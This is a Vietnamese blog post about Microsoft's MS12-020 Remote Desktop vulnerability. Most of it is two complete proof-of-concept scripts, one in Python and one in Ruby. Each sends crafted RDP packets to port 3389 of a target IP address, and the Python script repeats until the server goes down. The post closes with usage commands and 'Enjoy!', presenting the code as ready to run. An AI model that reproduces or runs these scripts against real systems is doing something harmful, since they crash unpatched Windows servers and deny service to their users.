Microsoft Security Bulletin MS12-020 – Critical

Ngày 13 tháng 3 năm 2012, Microsoft chính thức công bố lỗi Microsoft Security Bulletin MS12-020 – Critical hầu hết các platforms của Microsoft đều dính chưởng nếu ko update package phù hợp cho từng platform. Xem link dưới để biết thêm chi tiết:

http://technet.microsoft.com/en-us/security/bulletin/ms12-020

còn đây là clip test demo mà Tony làm

http://www.mediafire.com/?dxbxd1ooh7h1487

còn đây là script để test

1. Python: (lưu lại thành MS12-020.py)

#!/usr/bin/env python
#Author: MaYaSeVeN
#Thank BlackBap.Org, Joshua J. Drake(jduck), payload form Chinese
import socket,sys
payload=”\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x03\x00\x01\xd6\x02\xf0\x80\x7f\x65\x82\x01\x94\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x02\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\xff\xff\x02\x04\x00\x00\x00\x02\x30\x19\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\x04\x20\x02\x04\x00\x00\x00\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\xff\xff\x02\x04\x00\x00\x00\x02\x04\x82\x01\x33\x00\x05\x00\x14\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x1c\x01\xc0\xd8\x00\x04\x00\x08\x00\x80\x02\xe0\x01\x01\xca\x03\xaa\x09\x04\x00\x00\xce\x0e\x00\x00\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x01\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x2c\x00\x03\x00\x00\x00\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x80\x80\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0\x72\x64\x70\x73\x6e\x64\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00\x03\x00\x00\x08\x02\xf0\x80\x28\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x06\x03\xef\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x06\x03\xeb\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x06\x03\xec\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x06\x03\xed\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x06\x03\xee\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00″
i = 1
while(1):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((sys.argv[1],3389))
print “Sending: %d packets” % i
s.send(payload)
rec = s.recv(50)
s.close()
i += 1
except:
print “The Server is down”
exit()

2. Ruby: ( lưu lại thành MS12-020.rb)

#!/usr/bin/env ruby

#
# ms12-020 PoC attempt
#
# NOTE: This was crafted based on a legit connection packet capture and reversing
# a packet capture of the the chinese PoC.
#
# by Joshua J. Drake (jduck)
#

require ‘socket’

def send_tpkt(sd, data)
sd.write(make_tpkt(data))
end

def make_tpkt(data)
[
3, # version
0, # reserved
4 + data.length
].pack(‘CCn’) + data
end

def make_x224(data)
[ data.length ].pack(‘C’) + data
end

def make_rdp(type, flags, data)
[ type, flags, 4 + data.length ].pack(‘CCv’) + data
end
host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))
x224_1 = make_x224([
0xe0, # Connection request
0, # ??
0, # SRC-REF
0 # Class : Class 0
].pack(‘CnnC’) + rdp)

pkts1 << make_tpkt(x224_1)
# craft connect-initial
x224_2 = make_x224([
0xf0, # Data / Class 0
0x80 # EOT: True / NR: 0
].pack(‘CC’))

# mcsCi
target_params = “”+
#”\x02\x01\x00″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x22″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x0a”+ # maxUserIds
“\x02\x04\x00\x00\x00\x00″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02” # protocolVersion
min_params = “”+
“\x02\x04\x00\x00\x00\x01″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x01″+ # maxUserIds
“\x02\x04\x00\x00\x00\x01″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\x04\x20″+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02” # protocolVersion
max_params = “”+
“\x02\x02\xff\xff”+ # maxChannelIds
“\x02\x02\xfc\x17″+ # maxUserIds
“\x02\x02\xff\xff”+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02” # protocolVersion

userdata = “”+
# gccCCrq
“\x00\x05\x00\x14″+
“\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+
# clientCoreData
“\x01\xc0″+”\xd8\x00″+ # header (type, len)
“\x04\x00″+”\x08\x00″+ # version
“\x80\x02″+ # desktop width
“\xe0\x01″+ # desktop height
“\x01\xca”+ # color depth
“\x03\xaa”+ # SASSequence
“\x09\x04\x00\x00” + # keyboard layout
“\xce\x0e\x00\x00” + # client build number
# client name
“\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x04\x00\x00\x00″+ # keyboard type
“\x00\x00\x00\x00″+ # kbd subType
“\x0c\x00\x00\x00″+ # kbd FuncKey
# imeFileName
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x01\xca”+ # postBeta2ColorDepth
“\x01\x00″+ # clientProductId
“\x00\x00\x00\x00” + # serialNumber
“\x10\x00″+ # highColorDepth
“\x07\x00″+ # supportedColorDepths
“\x01\x00″+ # earlyCapabilityFlags
# clientDigProductId -poc has: “00000-000-0000000-00000”
“\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00″+ # connectionType
“\x00″+ # pad1octet
“\x00\x00\x00\x00″+ # serverSelectedProtocol
“\x04\xc0\x0c\x00″+ # desktopPhysicalWidth
“\x0d\x00\x00\x00″+ # desktopPhysicalHeight
“\x00\x00\x00\x00″+ # reserved
# clientSecurityData
“\x02\xc0″+”\x0c\x00″+ # header (type, len)
“\x1b\x00\x00\x00″+ # encryptionMethods
“\x00\x00\x00\x00″+ # extEncryptionMethods
# clientNetworkData
“\x03\xc0″+”\x2c\x00″+ # header (type, len)
“\x03\x00\x00\x00″+ # channel count!
# channel 0
“rdpdr\x00\x00\x00″+ # name
“\x00\x00\x80\x80″+ # options
# channel 1
“cliprdr\x00″+ # name
“\x00\x00\xa0\xc0″+ # options
# channel 2
“rdpsnd\x00\x00″+ # name
“\x00\x00\x00\xc0” # options
# clientClusterData (not present)
# clientMonitorData (not present)

mcs_data = “”+
“\x04\x01\x01″+ # callingDomainSelector
“\x04\x01\x01″+ # calledDomainSelector
“\x01\x01\xff”+ # upwardFlag
#”\x30″ + [ target_params.length ].pack(‘C’) + target_params +
#”\x30″ + [ min_params.length ].pack(‘C’) + min_params +
#”\x30” + [ max_params.length ].pack(‘C’) + max_params +
“\x30” + [ 0x19 ].pack(‘C’) + target_params +
“\x30” + [ 0x19 ].pack(‘C’) + min_params +
“\x30” + [ 0x1c ].pack(‘C’) + max_params +
# userData
“\x04\x82” + [ userdata.length ].pack(‘n’) + userdata

#mcs = “\x7f\x65\x82” + [ mcs_data.length ].pack(‘n’) # connect-initial (0x65 / 101), length
mcs = “\x7f\x65\x82” + [ 0x194 ].pack(‘n’) # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)
# send a special one?
pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00”)

# send more pkts! – based on poc
10.times {
pkts1 << make_tpkt(x224_2 + “\x28”)
}

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3”)

pkts1 << make_tpkt(x224_2 + “\x21\x80″)

bigpkt = pkts1.join(”)
i = 0
#loop {
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
#AAA
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

# read connect-initial response
buf = sd.recv(1500)
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

buf = sd.recv(1500)
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

buf = sd.recv(1500)
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

buf = sd.recv(1500)
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03”)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04”)

buf = sd.recv(1500)

#BBB
#}

sd.close

hướng dẫn sử dụng trước khi dùng:

Python:

MS12-020.py 192.168.1.113

Ruby:

ruby.exe MS12-020.rb 192.168.1.113

Tony_nguyen19

Enjoy!

About Tony Nguyễn
Tôi tên Tony tự Tèo trú tại thôn Tám, Trảng Thanh tỉnh Thừa Thiên. Thưở thiếu thời trí tuệ tôi thường thường, tuy thế tính tình thật thà thẳng thắng, thích thi thơ ...

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: